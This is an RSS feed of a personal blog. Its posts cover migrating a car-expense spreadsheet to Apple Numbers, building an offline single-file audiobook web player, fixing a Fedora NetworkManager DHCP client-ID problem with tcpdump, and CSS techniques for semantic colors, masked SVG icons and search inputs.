<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
  <title>Jerry Cheung</title>
  <link>https://jch.github.io/</link>
  <description>Jerry Cheung blog posts</description>
  <atom:link href="https://jch.github.io/rss.xml" rel="self" type="application/rss+xml" />
  <item>
  <title>Apple Numbers vs Google Sheets</title>
  <link>https://jch.github.io/posts/2026-05-18-apple-numbers.html
</link>
  <guid>https://jch.github.io/posts/2026-05-18-apple-numbers.html
</guid>
  <pubDate>Mon, 18 May 2026 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I'm a big fan of spreadsheets for tracking stuff. I keep a Google sheet for each car to track spending and maintenance. Here's a <a href="https://docs.google.com/spreadsheets/d/1dVcq4kxKHR8Kcvq82-DF0Lg_ixU45y8EPd3OJN9AT44/edit?usp=sharing" rel="nofollow">copy of my 2014 Mazda 6 sheet</a>. I track date, odometer, cost, type, and description. Type lets me categorize spending into a pivot table in a 2nd sheet, and do some arithmetic to figure out price per mile, and price per month over time. I've used Google Sheets as a default because that's where I started. I used a Google Form to make mobile input friendly, but went back to the mobile app for offline and faster access.</p>
<p>After the early demise of my iPhone 13 mini, I started fresh and didn't reinstall my previous apps. So I decided to give Numbers a try. I exported the Google Sheet as an Excel file and had no trouble opening it on Mac, and saving it to iCloud. On phones, there's <a href="https://support.apple.com/guide/numbers-iphone/enter-data-using-forms-tan66fd732f9/ios" rel="nofollow">"Enter data using forms in Numbers on iPhone"</a>. Each column can be customized with a type so "cost" can be currency and show the numbers keyboard, and "type" can be a pop up menu with a set list of options. It even imported the pivot table properly!</p>
<p>Sharing is available through iCloud web, and has familiar permissions and options. I also like the option to share as PDF. With Shortcuts, I added a "Record Mazda" shortcut that uses the "Add 'Values' to 'Form' in '2014 Mazda6 Touring'" Numbers task, and saved this Shortcut to my homescreen with a red car icon.</p>
  ]]></description>
</item>

<item>
  <title>Serverless Offline Audiobook player</title>
  <link>https://jch.github.io/posts/2026-05-14-audiobook-player-no-dep.html
</link>
  <guid>https://jch.github.io/posts/2026-05-14-audiobook-player-no-dep.html
</guid>
  <pubDate>Thu, 14 May 2026 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I built <a href="/projects/audiobook.html">Audiobook Player</a> to play local and iCloud audiobooks offline<sup><a href="#fn-0" id="user-content-fnref-0" data-footnote-ref="">1</a></sup> without any syncing<sup><a href="#fn-1" id="user-content-fnref-1" data-footnote-ref="">2</a></sup> or importing<sup><a href="#fn-2" id="user-content-fnref-2" data-footnote-ref="">3</a></sup>. The HTML, CSS, and JS are all in that single file, and can be hosted anywhere. Try it with this small audiobook <a href="/projects/SmackInSchool_LibriVox.m4b">"The Smack in School"</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Concept</h2><a id="user-content-concept" class="anchor" aria-label="Permalink: Concept" href="#concept"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Browsers have good support for playing audio, so the idea was to build a player out of HTML/CSS and load local audiobooks into it:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- choose a local audiobook file --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">file</span>" <span class="pl-kos">/&gt;</span>

<span class="pl-c">&lt;!-- set the src to the contents of the audiobook --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">audio</span> <span class="pl-c1">id</span>="<span class="pl-s">player</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">audio</span><span class="pl-kos">&gt;</span></pre></div>
<p>To remember playback position, I store them in the url document fragment. It's a janky workaround because iOS Safari doesn't persist access grants to files<sup><a href="#fn-3" id="user-content-fnref-3" data-footnote-ref="">4</a></sup>, so if I navigate away from the page, I can select the audiobook again and skip to where I left off. A nice side effect is it also works with Safari Handoff to share the URL between devices.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/audiobook-resume.png"><img src="/images/audiobook-resume.png" alt="Audiobook player showing resume position in the document fragment URL" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element">Chapter information</h2><a id="user-content-chapter-information" class="anchor" aria-label="Permalink: Chapter information" href="#chapter-information"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Getting playback and position working was straightforward. The first challenge was getting metadata details from an m4b. I started with <a href="https://github.com/gpac/mp4box.js/">mp4box.js</a> which gave me good results for general audio metadata like <code>title</code>, <code>artist</code>, <code>cover art</code>, but there are audiobook specific tags including <code>chpl/tref/chap</code> for chapter information. I ran parallel experiments with manual parsing the file bytes and mp4box across a handful of audiobooks. Sometimes that metadata is the beginning bytes of a file, and sometimes the end. Sometimes there would be number chapters, but the actual chapter names would be in a different part of the document within JSON. I'm wary of this code and additional edge cases, so I have it fail gracefully when parsing fails or metadata isn't available. If chapter information is available, it's easy to set the player to scrub to that position. The player also emits change events which are used to persist playback position.</p>
<div class="markdown-heading"><h2 class="heading-element">Design</h2><a id="user-content-design" class="anchor" aria-label="Permalink: Design" href="#design"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a target="_blank" rel="noopener noreferrer" href="/images/audiobook-player.png"><img src="/images/audiobook-player.png" alt="Audiobook player UI showing cover art, chapter list, and playback controls" style="max-width: 100%;"></a></p>
<p>I started with:</p>
<ul>
<li>Choose a monochrome color palette. Respect system light dark mode.</li>
<li>Focus on legibility. Review for contrast.</li>
<li>Optimize for mobile viewports.</li>
</ul>
<p>From there, I spent most of my time removing elements and copy. I chose familiar icons and set defaults I prefer for rewind, playback speed, and sleep timer. I didn't build any UI to change these, they're variables if you'd like to customize it.</p>
<p>For the blank state icon, I chose "audiobook" by Ahmad Roaayala from Noun Project <a href="https://thenounproject.com/browse/icons/term/audiobook/" rel="nofollow">https://thenounproject.com/browse/icons/term/audiobook/</a> (CC BY 3.0).</p>
<p>I wish the Nokia 8110 4g aka "Banana phone" from the matrix worked in the US, but I decided to make this look nice on 240x320 viewports too. If you have a feature phone or a KaiOS device, I'd love to hear if this player works<sup><a href="#fn-4" id="user-content-fnref-4" data-footnote-ref="">5</a></sup>.</p>
<p>I'm working through the <a href="https://animations.dev" rel="nofollow">animations.dev</a> course. Nothing fancy here, but added a transform 97% and ease-out on the buttons. I can imagine some animations around the cover art or shrinking the player controls, but I think those may feel excessive, especially on smaller screens.</p>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/Media_Session_API" rel="nofollow">MediaSession API</a> makes it easy to preview what's playing from the lock screen.</p>
<div class="markdown-heading"><h2 class="heading-element">Dead ends</h2><a id="user-content-dead-ends" class="anchor" aria-label="Permalink: Dead ends" href="#dead-ends"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I thought about creating a static site generator that would create the player html page based on the audiobooks in a directory. But decided against it because I already had my books in iCloud and didn't want to use the network needlessly.</p>
<p>I considered using Origin Private File System OPFS because it didn't need user permissions, but this basically imports it into browser storage. Since there's no guarantee around storage size, I abandoned this too. It might be feasible for desktop, but my iPhone 17e with 100GB of free space only showed 3GB of available web storage. Some of my audiobooks are over a GB.</p>
<p>This doesn't work on a folder of MP3's, I only tested on M4B's.</p>
<p>It'd be interesting to wrap this within a native shell for file system access. I didn't try oauth to Google Drive, but there's potential to connect to other cloud storage as well. It's all more than I need though.</p>
<div class="markdown-heading"><h2 class="heading-element">Resources</h2><a id="user-content-resources" class="anchor" aria-label="Permalink: Resources" href="#resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>Claude Sonnet 4.6 through GitHub Copilot CLI and Visual Studio Code</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_System_API" rel="nofollow">File System API</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/FileList" rel="nofollow">FileList</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File" rel="nofollow">File</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/audio" rel="nofollow">audio tag</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_System_API/Origin_private_file_system" rel="nofollow">Origin Private File System</a></li>
</ul>
<section data-footnotes="">
<ol>
<li id="user-content-fn-0">
<p><a href="https://www.audiobookshelf.org" rel="nofollow">https://www.audiobookshelf.org</a> is a neat project and had a polished PWA. But I only occasionally get shared audiobooks and didn't want to self-host something this full featured. <a href="#fnref-0" data-footnote-backref="" aria-label="Back to reference 1">↩</a></p>
</li>
<li id="user-content-fn-1">
<p>I like Apple Books, but it doesn't Handoff or sync timestamps properly <a href="#fnref-1" data-footnote-backref="" aria-label="Back to reference 2">↩</a></p>
</li>
<li id="user-content-fn-2">
<p>I like Book Player, but sometimes importing fails or act wonky. Plus, this was a fun excuse to learn about m4b's, HTTP range, OPFS, KaiOS, ... <a href="#fnref-2" data-footnote-backref="" aria-label="Back to reference 3">↩</a></p>
</li>
<li id="user-content-fn-3">
<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/showOpenFilePicker#browser_compatibility" rel="nofollow"><code>showOpenFilePicker</code></a> and directory picker is available on Chrome Android 132 (2025-01-14), and file handles can be serialized to IndexDB. I think this makes it possible to prompt a user once for access to folder of audiobooks, and then keeping access across page reloads. <a href="#fnref-3" data-footnote-backref="" aria-label="Back to reference 4">↩</a></p>
</li>
<li id="user-content-fn-4">
<p>Fell into a rabbit hole last night reading about KaiOS and old gecko. <a href="#fnref-4" data-footnote-backref="" aria-label="Back to reference 5">↩</a></p>
</li>
</ol>
</section>
  ]]></description>
</item>

<item>
  <title>Troubleshooting NetworkManager DHCP</title>
  <link>https://jch.github.io/posts/2026-03-29-troubleshooting-networkmanager-dhcp.html
</link>
  <guid>https://jch.github.io/posts/2026-03-29-troubleshooting-networkmanager-dhcp.html
</guid>
  <pubDate>Sun, 29 Mar 2026 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>After migrating from Debian Bookworm to Fedora Workstation 43, I getting ip addresses from my main network. After chasing some red herrings, the culprit was my Adtrans modem/router not responding to dhcp requests with a client id. The fix was to configure NetworkManager's internal dhcp client to not send this info:</p>
<pre><code># /etc/NetworkManager/conf.d/99-adtran-compat.conf
[connection]
ipv4.dhcp-client-id=none
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Notes</h2><a id="user-content-notes" class="anchor" aria-label="Permalink: Notes" href="#notes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I noticed that I wasn't able to connect to my main wifi teatime5. However, "teatime5 Guest" worked fine. Eventually I needed to be on the main network so I could print puppy coloring pages.</p>
<p>I messed eero's settings, but remembered my wifi router is bridged to my adtrans modem / router. The adtrans was responsible for DHCP leases. "teatime5 Guest" was a separate network created and managed by eero, which explained why dhcp worked there.</p>
<p>I installed <code>dhcp-client</code> and was able to manually get an ip with:</p>
<pre><code>$ sudo dnf install dhcp-client

$ sudo dhclient -v enp12s0
</code></pre>
<p>Aside: I have 3 network interfaces on this laptop <code>wlp61s0</code> wifi, <code>enp0s31f6</code> ethernet, <code>enp12s0</code> thunderbolt (display with ethernet on the back). <code>ip link</code> lists available interfaces. <code>nmcli con</code> also works, but doesn't list disconnected interfaces.</p>
<pre><code>$ ip link
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: enp0s31f6: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc fq_codel state DOWN mode DEFAULT group default qlen 1000
    link/ether e8:6a:64:2e:59:ee brd ff:ff:ff:ff:ff:ff
    altname enxe86a642e59ee
3: wlp61s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
    link/ether da:e7:76:ef:96:ce brd ff:ff:ff:ff:ff:ff permaddr 48:a4:72:9a:f6:14
    altname wlx48a4729af614
6: enp12s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
    link/ether 3c:07:54:6f:15:85 brd ff:ff:ff:ff:ff:ff
    altname enx3c07546f1585
</code></pre>
<p>Configuring NetworkManager to use dhclient didn't work. Logs showed it couldn't find the client. It may need a separate plugin:</p>
<pre><code># /etc/NetworkManager/conf.d/99-adtran-compat.conf
[main]
dhcp=dclient

# journalctl -u NetworkManager -f
Mar 29 11:46:09 fedora NetworkManager[50641]: &lt;warn&gt;  [1774809969.9349] dhcp: init: DHCP client 'dhclient' not available
</code></pre>
<p>The hack fix was to configure the interfaces as link-only, and run a script after connections are established:</p>
<div class="highlight highlight-source-shell"><pre>$ sudo touch /etc/NetworkManager/dispatcher.d/99-adtran-dhcp
$ sudo chmod 755 /etc/NetworkManager/dispatcher.d/99-adtran-dhcp</pre></div>
<p>The script executes after connect:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#!</span>/bin/bash</span>
INTERFACE=<span class="pl-smi">$1</span>
ACTION=<span class="pl-smi">$2</span>

<span class="pl-c"><span class="pl-c">#</span> wlp61s0: wireless interfaces</span>
<span class="pl-c"><span class="pl-c">#</span> enp0s31f6: ethernet</span>
<span class="pl-c"><span class="pl-c">#</span> enp12s0: thunderbolt display with ethernet</span>
<span class="pl-k">if</span> [[ <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$INTERFACE</span><span class="pl-pds">"</span></span> <span class="pl-k">=~</span> ^(wlp61s0<span class="pl-k">|</span>enp0s31f6<span class="pl-k">|</span>enp12s0)$ ]] <span class="pl-k">&amp;&amp;</span> [[ <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$ACTION</span><span class="pl-pds">"</span></span> <span class="pl-k">==</span> <span class="pl-s"><span class="pl-pds">"</span>up<span class="pl-pds">"</span></span> ]]<span class="pl-k">;</span> <span class="pl-k">then</span>
    <span class="pl-c"><span class="pl-c">#</span> Release any old/stale leases first</span>
    /usr/sbin/dhclient -v -r <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$INTERFACE</span><span class="pl-pds">"</span></span>
    
    <span class="pl-c"><span class="pl-c">#</span> Request a new lease and log the results for debugging</span>
    /usr/sbin/dhclient -v <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$INTERFACE</span><span class="pl-pds">"</span></span> <span class="pl-k">&gt;</span> /tmp/adtran_dhcp.log <span class="pl-k">2&gt;&amp;1</span>
<span class="pl-k">fi</span></pre></div>
<p>This worked, but it'll probably bite me on some upgrade. To stay close to distro defaults, I needed to figure out the difference between requests sent by the internal dhcp client and dhclient.</p>
<p>Let's compare them back to back. First, fedora's default that sends a device id</p>
<pre><code>$ sudo tcpdump -i enp12s0 -vvvn port 67 or port 68
tcpdump: listening on enp12s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
11:04:19.931750 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 310)
    0.0.0.0.bootpc &gt; 255.255.255.255.bootps: [udp sum ok] BOOTP/DHCP, Request from 3c:07:54:6f:15:85, length 282, xid 0x5b52b4e2, secs 1, Flags [none] (0x0000)
          Client-Ethernet-Address 3c:07:54:6f:15:85
          Vendor-rfc1048 Extensions
            Magic Cookie 0x63825363
            DHCP-Message (53), length 1: Request
            Client-ID (61), length 7: ether 3c:07:54:6f:15:85
            Parameter-Request (55), length 17:
              Subnet-Mask (1), Time-Zone (2), Domain-Name-Server (6), Hostname (12)
              Domain-Name (15), MTU (26), BR (28), Classless-Static-Route (121)
              Default-Gateway (3), Static-Route (33), YD (40), YS (41)
              NTP (42), Unknown (119), Classless-Static-Route-Microsoft (249), Unknown (252)
              RP (17)
            MSZ (57), length 2: 576
            Requested-IP (50), length 4: 192.168.1.99
            END (255), length 0
</code></pre>
<p>What dhclient sends:</p>
<pre><code># in another terminal: sudo dhclient -v enp12s0
$ sudo tcpdump -i enp12s0 -vvvn port 67 or port 68
tcpdump: listening on enp12s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
11:20:15.835147 IP (tos 0x10, ttl 128, id 0, offset 0, flags [none], proto UDP (17), length 328)
    0.0.0.0.bootpc &gt; 255.255.255.255.bootps: [udp sum ok] BOOTP/DHCP, Request from 3c:07:54:6f:15:85, length 300, xid 0x39a01019, Flags [none] (0x0000)
          Client-Ethernet-Address 3c:07:54:6f:15:85
          Vendor-rfc1048 Extensions
            Magic Cookie 0x63825363
            DHCP-Message (53), length 1: Request
            Requested-IP (50), length 4: 192.168.1.99
            Parameter-Request (55), length 13:
              Subnet-Mask (1), BR (28), Time-Zone (2), Classless-Static-Route (121)
              Domain-Name (15), Domain-Name-Server (6), Hostname (12), YD (40)
              YS (41), NTP (42), MTU (26), Unknown (119)
              Default-Gateway (3)
            END (255), length 0
            PAD (0), length 0, occurs 35
</code></pre>
<p>The line that the adtrans router doesn't like:</p>
<pre><code>Client-ID (61), length 7: ether 3c:07:54:6f:15:85
</code></pre>
<p>This can be removed with the config:</p>
<pre><code># /etc/NetworkManager/conf.d/99-adtran-compat.conf
[connection]
ipv4.dhcp-client-id=none
</code></pre>
<p>After restarting NetworkManager with the new config:</p>
<pre><code>$ sudo tcpdump -i enp12s0 -vvvn port 67 or port 68
tcpdump: listening on enp12s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
11:02:57.938169 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 301)
    0.0.0.0.bootpc &gt; 255.255.255.255.bootps: [udp sum ok] BOOTP/DHCP, Request from 3c:07:54:6f:15:85, length 273, xid 0xa885726a, secs 1, Flags [none] (0x0000)
          Client-Ethernet-Address 3c:07:54:6f:15:85
          Vendor-rfc1048 Extensions
            Magic Cookie 0x63825363
            DHCP-Message (53), length 1: Request
            Parameter-Request (55), length 17:
              Subnet-Mask (1), Time-Zone (2), Domain-Name-Server (6), Hostname (12)
              Domain-Name (15), MTU (26), BR (28), Classless-Static-Route (121)
              Default-Gateway (3), Static-Route (33), YD (40), YS (41)
              NTP (42), Unknown (119), Classless-Static-Route-Microsoft (249), Unknown (252)
              RP (17)
            MSZ (57), length 2: 576
            Requested-IP (50), length 4: 192.168.1.99
            END (255), length 0
</code></pre>
<p>Success!</p>
<p>Another alternative I didn't try was to make eero the primary router and configure the adtrans in bridge mode. I currently have the latter port forward to my web/ssh server.</p>
<p>Other configs that I tried for reference:</p>
<pre><code>[main]
dhcp=internal

[connection]
# don't send, this works
ipv4.dhcp-client-id=none

# send a leading 01, some enterprise routers like this?
#ipv4.dhcp-client-id=01:48:a4:72:9a:f6:14

# use 4 digits of mac address instead of device id
# use a stable mac instead of a randomized one
#ipv4.dhcp-client-id=mac
#ipv4.dhcp-iaid=mac
#wifi.cloned-mac-address=permanent
#ethernet.cloned-mac-address=permanent
</code></pre>
<p>Useful commands for debugging:</p>
<div class="highlight highlight-source-shell"><pre>$ nmcli con  <span class="pl-c"><span class="pl-c">#</span> same as nmcli connection show</span>
$ nmcli con up<span class="pl-k">|</span>down teatime5

$ systemctl restart NetworkManager
$ journalctl -u NetworkManager

$ sudo tcpdump -i enp12s0 -vvvn port 67 or port 68</pre></div>
  ]]></description>
</item>

<item>
  <title>Campfire lessons: colors, icons, and inputs</title>
  <link>https://jch.github.io/posts/2026-03-28-campfire-css-colors-icons-inputs.html
</link>
  <guid>https://jch.github.io/posts/2026-03-28-campfire-css-colors-icons-inputs.html
</guid>
  <pubDate>Sat, 28 Mar 2026 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Gather around folks, here's what I learned and applied to <a href="https://jch.app" rel="nofollow">jch.app</a> from 37signal's "Modern CSS Patterns in Campfire", and the source code from Campfire and Fizzy.</p>
<p>I test drove these techniques on the Holdings page. I needed these changes to be incremental and opt-in to avoid breaking other pages.</p>
<div class="markdown-heading"><h2 class="heading-element">Colors</h2><a id="user-content-colors" class="anchor" aria-label="Permalink: Colors" href="#colors"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Up until I shipped dark mode, I used tailwind's color utilities. Tailwind does come with a <code>dark:</code>, but it was hard to reason about and I found myself repeating a lot of utilties with slight variations (border-pink-300, bg-pink-300) and needing to find-and-replace several things to try different colors.</p>
<div class="highlight highlight-source-css"><pre><span class="pl-c">/* before */</span>
<span class="pl-ent">input</span><span class="pl-kos">:</span><span class="pl-c1">focus</span> {
  <span class="pl-k">@apply</span> border-pink-300;      <span class="pl-c">/* light mode */</span>
  <span class="pl-k">@apply</span> dark:border-pink-900; <span class="pl-c">/* dark mode */</span>
}</pre></div>
<p>This pushed me to add an abstraction for semantic colors on top of the primitive color definitions.</p>
<div class="highlight highlight-source-css"><pre><span class="pl-c">/* after */</span>
<span class="pl-kos">:</span><span class="pl-c1">root</span> {
  <span class="pl-c">/* semantic colors */</span>
  <span class="pl-s1">--color-highlight</span><span class="pl-kos">:</span> <span class="pl-en">oklch</span>(<span class="pl-en">var</span>(<span class="pl-s1">--lch-pink</span>));
  
  <span class="pl-c">/* primitive colors */</span>
  --lch-pink<span class="pl-kos">:</span> ...; <span class="pl-c">/* light mode default */</span>
  <span class="pl-k">@media</span> (<span class="pl-c1">prefers-color-scheme</span><span class="pl-kos">:</span> dark) {
    --lch-pink<span class="pl-kos">:</span> ...;  <span class="pl-c">/* redefine it to fit dark */</span>
  }
}

<span class="pl-ent">input</span><span class="pl-kos">:</span><span class="pl-c1">focus</span> {
  <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> solid <span class="pl-en">var</span>(<span class="pl-s1">--color-highlight</span>);
}</pre></div>
<p>Instead of describing a border color as light pink in light mode, and dark pink in dark mode, it's styled with a single semantic <code>--color-highlight</code> and allows <code>--lch-pink</code> to be redefined by dark mode.</p>
<p>Not every color needed a semantic name. The pattern I learned was to define raw color primitives as <code>--lch-[color]-[lighter|light|dark|darker]</code> and optionally add semantic named colors like <code>--color-[semantic-name]</code>. When applying colors in dark mode, redefine the raw <code>--lch-*</code> color vars while relying on semantic <code>--color-*</code> vars for styling.</p>
<p>One aha moment was realizing that the variables are resolved at render. Notice how <code>--color-highlight: oklch(var(--lch-pink))</code> uses <code>--lch-pink</code> before it is defined. This works because when a <code>input:focus</code> selector matches an element, <code>--lch-pink</code> will resolve to a value based on light or dark mode. Trust that the variables will have a value defined at some point, whether it's a app wide value in <code>:root</code>, as a fallback, in a component or variant, or inline at the html itself. This also explains why <code>application.html.erb</code> can load all the stylesheets and not worry about the load order.</p>
<div class="highlight highlight-text-html-erb"><pre><span class="pl-k">&lt;%=</span> stylesheet_link_tag :all <span class="pl-k">%&gt;</span><span class="pl-en"></span><span class="pl-pds"></span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Icons</h2><a id="user-content-icons" class="anchor" aria-label="Permalink: Icons" href="#icons"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I started with inline svg icons because this allowed me to easily change their colors by defining their stroke color as <code>currentColor</code>.</p>
<div class="highlight highlight-text-html-basic"><pre>/* easy to style svg icon colors */
<span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">style</span>="<span class="pl-s">color: red</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-c">&lt;!-- icon inherits color --&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">svg</span> <span class="pl-c1">stroke</span>="<span class="pl-s">currentColor</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">svg</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>But this stops working if the svg is in an external file</p>
<div class="highlight highlight-source-css"><pre><span class="pl-c">/* currentColor ignored */</span>
.<span class="pl-c1">icon--search</span> {
  <span class="pl-c1">background-image</span><span class="pl-kos">:</span> <span class="pl-en">url</span>(<span class="pl-s">"data:..."</span>); <span class="pl-c">/* inlined in css */</span>
  <span class="pl-c1">background-image</span><span class="pl-kos">:</span> <span class="pl-en">url</span>(<span class="pl-s">"plus.svg"</span>); <span class="pl-c">/* or external file */</span>
}</pre></div>
<p>The 37signals approach uses the svg as an <code>image-mask</code> over a background. The strokes of the icon form the visible parts of the mask, and the color from the image show through the mask.</p>
<div class="highlight highlight-source-css"><pre>.<span class="pl-c1">icon</span> {
  <span class="pl-c1">background-color</span><span class="pl-kos">:</span> currentColor;
  <span class="pl-c1">mask-image</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--svg</span>);
}

.<span class="pl-c1">icon--search</span> {
  <span class="pl-s1">--svg</span><span class="pl-kos">:</span> <span class="pl-en">url</span>(<span class="pl-s">"search.svg"</span>);
}</pre></div>
<p>Aside: propshaft translates <code>url("search.svg")</code> to the digested file. Neat. Having cached digested icon files means sending fewer bytes inline with the response.</p>
<div class="markdown-heading"><h2 class="heading-element">Inputs</h2><a id="user-content-inputs" class="anchor" aria-label="Permalink: Inputs" href="#inputs"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When icons were background images, I used relative positioning and padding to add a magnifying glass icon to a search input:</p>
<div class="highlight highlight-source-css"><pre><span class="pl-ent">input</span>[<span class="pl-c1">type</span><span class="pl-c1">=</span><span class="pl-s">search</span>] {
  <span class="pl-s1">--inline-space</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">ch</span></span>;

  <span class="pl-c1">background-image</span><span class="pl-kos">:</span> <span class="pl-en">url</span>(<span class="pl-s">"search.svg"</span>);
  <span class="pl-c1">background-position</span><span class="pl-kos">:</span> center left <span class="pl-en">var</span>(<span class="pl-s1">--inline-space</span>);
  <span class="pl-c1">background-repeat</span><span class="pl-kos">:</span> no-repeat;
  
  <span class="pl-c">/* space + icon + space before input content */</span>
  <span class="pl-c1">padding-inline-start</span><span class="pl-kos">:</span> <span class="pl-en">calc</span>(<span class="pl-s1">--icon-size</span> <span class="pl-c1">+</span> <span class="pl-en">var</span>(<span class="pl-s1">--inline-space</span>) <span class="pl-c1">*</span> <span class="pl-c1">2</span>);
}</pre></div>
<p>I liked how this kept the html semantic without a wrapper element. But this meant a fixed icon for both light and dark mode, and prevented using css variables for customization. My first thought was using a <code>::before</code> pseudo element to add the background image, but <code>&lt;input&gt;</code>s don't allow pseudo elements. So I experimented with a wrapper:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
  .<span class="pl-c1">icon-wrapper</span> {
    <span class="pl-c1">position</span><span class="pl-kos">:</span> relative;
    
    <span class="pl-ent">&amp;</span> .<span class="pl-c1">icon</span> {
      <span class="pl-c1">position</span><span class="pl-kos">:</span> absolute;
      
      <span class="pl-c">/* center vertically */</span>
      <span class="pl-c1">top</span><span class="pl-kos">:</span> <span class="pl-c1">50<span class="pl-smi">%</span></span>;
      <span class="pl-c1">transform</span><span class="pl-kos">:</span> <span class="pl-en">translate-y</span>(<span class="pl-c1">-50<span class="pl-smi">%</span></span>);
    }
    
    <span class="pl-ent">&amp;</span> <span class="pl-ent">input</span> {
      <span class="pl-c1">padding-inline-start</span><span class="pl-kos">:</span> <span class="pl-en">calc</span>(<span class="pl-en">var</span>(<span class="pl-s1">--icon-size</span>) <span class="pl-c1">+</span> <span class="pl-c1">2<span class="pl-smi">ch</span></span>);
    }
  }
<span class="pl-kos">&lt;/</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">icon-wrapper</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">span</span> <span class="pl-c1">class</span>="<span class="pl-s">icon icon--search</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">span</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">search</span>" <span class="pl-kos">/&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>This worked, but I didn't like how the input had to calculate the correct padding to know where it started. What I really wanted was to use flexbox and have the following:</p>
<pre><code>+---+--------+
| o | xxxxxx |
+---+--------+
o = icon
x = input text
- = border
</code></pre>
<p>Then I could use gap for spacing and flexbox for alignment. I thought I could get clever with an input background image and a mask:</p>
<div class="highlight highlight-source-css"><pre><span class="pl-ent">input</span>[<span class="pl-c1">type</span><span class="pl-c1">=</span><span class="pl-s">search</span>] {
  <span class="pl-c1">background-image</span><span class="pl-kos">:</span> <span class="pl-en">linear-gradient</span>(blue<span class="pl-kos">,</span> red);
  <span class="pl-c1">background-position</span><span class="pl-kos">:</span> left center;
  <span class="pl-c1">background-size</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">em</span></span> <span class="pl-c1">1<span class="pl-smi">em</span></span>;
  
  <span class="pl-c1">mask-image</span><span class="pl-kos">:</span>
    <span class="pl-en">url</span>(<span class="pl-s">"search.svg"</span>)<span class="pl-kos">,</span>             <span class="pl-c">/* mask 1: icon color */</span>
    <span class="pl-en">linear-gradient</span>(black<span class="pl-kos">,</span> black); <span class="pl-c">/* mask 2: input text */</span>
}</pre></div>
<p>This kinda worked, but ends up masking out the border on the icon side:</p>
<pre><code>    +--------+
  o | xxxxxx |
    +--------+
o = icon
x = input text
- = border
</code></pre>
